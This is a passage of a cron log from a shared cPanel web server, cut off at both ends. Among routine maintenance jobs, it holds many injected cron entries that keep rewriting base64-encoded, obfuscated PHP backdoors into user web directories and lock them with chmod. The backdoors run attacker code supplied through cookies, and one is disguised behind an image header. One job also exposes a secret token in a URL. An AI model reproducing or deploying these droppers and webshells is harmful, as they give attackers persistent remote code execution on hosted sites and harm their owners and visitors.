BLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:05:01 medusa CROND[15022]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:05:01 medusa CROND[15015]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:05:01 medusa CROND[15026]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:05:01 medusa CROND[15027]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:05:01 medusa CROND[15018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:05:01 medusa CROND[15012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:05:01 medusa CROND[15031]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:05:01 medusa CROND[15032]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:05:01 medusa CROND[15030]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 05:05:01 medusa CROND[15011]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:05:01 medusa CROND[15024]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 05:06:01 medusa CROND[16426]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:06:01 medusa CROND[16460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:06:01 medusa CROND[16462]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:06:01 medusa CROND[16463]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:06:01 medusa CROND[16464]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:06:01 medusa CROND[16465]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:06:01 medusa CROND[16466]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:06:01 medusa CROND[16467]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:06:01 medusa CROND[16471]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:06:01 medusa CROND[16472]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:06:01 medusa CROND[16470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:06:01 medusa CROND[16473]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:06:01 medusa CROND[16479]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:06:01 medusa CROND[16480]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:06:01 medusa CROND[16492]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:07:02 medusa CROND[17799]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:07:02 medusa CROND[17800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:07:02 medusa CROND[17801]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:07:02 medusa CROND[17802]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:07:02 medusa CROND[17803]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:07:02 medusa CROND[17804]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:07:02 medusa CROND[17807]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:07:02 medusa CROND[17806]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:07:02 medusa CROND[17810]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:07:02 medusa CROND[17811]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 